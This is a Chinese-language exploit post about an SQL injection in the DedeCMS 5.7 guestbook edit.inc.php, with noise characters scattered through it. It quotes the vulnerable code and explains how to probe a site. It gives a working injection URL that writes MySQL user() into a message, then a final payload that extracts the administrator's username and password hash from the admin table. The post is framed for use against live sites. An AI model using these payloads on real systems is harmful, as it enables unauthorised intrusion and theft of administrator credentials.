影响版本为5.7
$ G+ G4 V* P7 Z- Z8 X
8 w6 O% d# I# g& U [3 h' \漏洞文件edit.inc.php具体代码:
7 t9 x2 L" C, ]6 P8 |/ v1 E: ^' F9 f/ w1 H) y7 Q. a r1 t- I* N" A
< ?php 1 k/ L8 N1 s6 @7 N7 A1 h
' I% _/ Z. v9 Qif(!defined('DEDEINC')) exit('Request Error!'); # G2 Y8 n6 m' y/ |
4 g7 @$ g7 a/ l- l; e 6 o; Z* k% f' {0 P1 h" `( F$ ?: n
' `5 m, t9 b! i" [ _5 `
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; 3 |( j, j- Z0 M0 }5 m: Q7 [
! l4 `% d3 c6 N6 e4 J% p7 O% S/ a; {3 K5 ]
else $GUEST_BOOK_POS = "guestbook.php"; k" ~! k4 R/ y- @, X, S
- n2 T/ p# q9 I. g
8 }1 A% y/ h9 s/ h6 j' h" ^( T
! b/ [* A4 Y) z6 S" a$id = intval($id);
& @$ C" w% \$ ?7 B7 X2 G0 f; E5 t' V) h4 I3 z
if(empty($job)) $job='view'; + x- F. Z: a& @, v
v7 Y6 g/ S6 H& Y" n s3 o" ~
5 e4 A, J7 h( {" M, H. O
# b5 K g) O, P) e/ V
if($job=='del' && $g_isadmin)
$ u+ X# s: @/ V- u& x/ u- R
) j1 J0 i0 r0 X4 k7 g0 M6 ^{
1 Z2 s& {6 `( E: e9 h( Y+ _9 `& F5 d8 _4 L' L
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); 2 K8 A( @* t) ?- z. V3 o
" W m7 z& D9 f- N4 N
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); " ]. q8 e* e8 x4 S/ T5 Y
$ q3 U0 O8 `' @. {
exit();
# { O: u4 n5 d& x- T( L8 W$ \/ _
} : T, ^' T5 M4 j
' S [( @- v/ p# n; `1 P+ ]
else if($job=='check' && $g_isadmin) & V% t( @* f/ j+ l( p
' ~+ t. z* G, e; U( l; w/ g- A, ]
{
% M; h' R& V# i \6 V" z0 v0 @/ z9 F0 Z: F) @
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
; {' ^& F6 ]+ U1 H. ]( c7 g* z' v' }8 Y
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); : p; M. |6 L" F B; H2 s: f; r% t
% ?2 R. F7 b2 S) u. T6 s+ A' N9 a
exit(); % n# `& ?" W2 C4 L/ r1 s, L
5 G0 N( ?4 s( w& ?. P( M! t1 X} ' I& ~5 |' I! ]$ v% k2 G
) x# d9 X m# E
else if($job=='editok')
4 a$ a# P! P( u! G+ Q( K/ r. E& B. P5 K( i# p
{
" w$ g8 [/ g7 L g3 U
; ]6 m2 o1 [$ l% K6 Y" }$remsg = trim($remsg); ; s3 D8 i, U3 O. G+ D
# a4 z: X. P/ G. e m# A7 }5 @if($remsg!='') % O+ G. R2 W/ W( x
q2 v( l9 O# P
{ ; x# p1 Q" ?+ b+ a3 r: L+ s4 I5 n
O7 F: e" U5 a7 L//管理员回复不过滤HTML By:Errorera blog:errs.cc
. Z. b. ^! q4 w& z' m
( h9 C) n) O% D2 n2 g; W9 Uif($g_isadmin) ' a3 W0 @, q8 \1 s$ [! r# }
1 U! P, P* J0 N5 M3 u3 Q) t
{
: s2 |* f) A. f8 D8 N ]
6 L4 I: k% m; V/ L0 h \$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 6 l2 n% f8 q: @7 i% h Z
1 ?' `2 P, C$ z+ N3 ~- z0 f
//$remsg <br /><font color=red>管理员回复:</font> }
! b1 G6 p& d! L2 q1 c- ^7 x3 m, v
! \4 n: H9 g* O3 f* B/ W8 Yelse + e$ [/ K' \ {/ ?: w% X/ A
- O/ D. [. t3 C% }9 N{
- [# K! I6 z4 E% b, W. P; f& O: U( k* d$ T2 {/ Y- P/ a
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
* I3 b: E/ p8 z$ J& Y1 C
) z5 y5 Z% i( ^; ]7 c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
5 w n2 w. z% ]/ p M7 l7 o% ~1 x9 x+ m5 ?6 \ j
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
1 Y$ U0 P% Y( P
% K! J/ X ?. }( g: M$msg = $oldmsg.$remsg;
! V. J/ l- j+ ^3 |4 n6 Q0 P) ?8 S0 ]) W! {
}
Q& i- i/ K4 W& P& U, O( ~1 d' Z
. v, U1 `9 b4 @9 e" p7 n8 W} / V8 Q/ x0 O2 y( E* l1 G3 _
3 N+ b* B2 }( ~' u, L" b4 u
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
# L! z, V5 P- {, d
# Z. U' ]* ]3 d& d! _* l$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 6 U/ G9 H( a4 J4 _+ H- N' u4 a* l$ z9 e
2 h2 v) Z1 L9 M. ^% F7 N
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); / Q }2 d" m) h( x) e
0 d, v; K: x0 \" j# H# }exit();
5 _& w0 n2 ~# m1 f/ H4 `4 E& B3 N9 v% z; N1 o ~: S
}
5 R3 |+ d$ n: p Q# I
+ Q w* t) i) A4 L3 D# R# i0 \9 f; V//home:www.errs.cc
8 N% c, ^2 i* B) K: H; q6 Y! r
, G j/ L+ N5 K" `) ~( \) h( ^3 Cif($g_isadmin)
% B) a3 K6 ]3 a" `9 [
3 B. J. A! E6 j0 ]4 V# }5 |{ ' g! I+ M+ N3 _ l; T
$ j0 _3 d* r+ n* v* x' L* _- {$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
5 F: l, E- [8 e: a1 B' w5 s7 [. o2 g
/ h! w% i# k5 T) q ]# o% e. xrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); % `9 g: B0 E6 L' m2 ^1 o8 n/ D
1 P/ E2 i* B" W5 w# r" A
}
: v7 s. o: h3 M. |
$ E; |2 I, |7 `& q( nelse
, O7 b0 G0 x, C; P2 A6 V+ Q( p. d) s- N3 ?
{ + x& y+ W3 w6 P/ | O
! A( Q/ [3 U+ c; b: p$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ' `% ^6 T6 x$ z M
/ d( x7 x, V) a+ f% Y% j% Arequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); . @4 ~1 p# ~, Q% X" a# O
! _5 F( x$ k8 h$ i/ r) Y; e} 漏洞成功需要条件:, M7 n6 Q" p# ?0 h: V/ J8 w6 c* j
1. php magic_quotes_gpc=off
/ m! d8 m( E0 t; E6 M. u2 |2 Y; ]2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。- H/ `3 {& I# n" B A
) ~$ F- t B' R! m) y怎么判断是否存在漏洞:. o( K& h( r' |6 Q
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,) D' X% o) ?; w: r! C6 y& X
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID+ ?; p i. ^- t- l+ H
访问:
0 l$ K% L$ A3 O& u" J1 Z, O' Y7 ^ ^3 g; D# U6 m8 W& D/ B
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了2 L" w. ?4 ^! e* x/ I1 N3 Q
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证8 M" u1 E4 v1 Y% F
( P2 b7 F& C/ T
) \$ x/ g% R. Z0 s. ^5 v明漏洞无法利用应为他开启了 php magic_quotes_gpc=off+ [ E0 a, T- G; y; s s
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 u) }& o& j/ J- p9 ^3 j那么再次访问$ H( ]9 m3 K2 k1 z1 x
; S4 Y1 h9 E7 r, p, \www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
5 W( f" I4 w0 q+ n! O2 f
( |- Y! E7 f1 z1 H* b6 u大概利用就是这样,大家有兴趣的多研究下!!
4 {. p! Q( q) `3 b- X0 g/ c0 b3 h! W6 ~6 S! f4 Z4 @. M1 V
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
+ @7 c6 H, i1 K; C. J* f) o3 F8 K! B; M" O
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |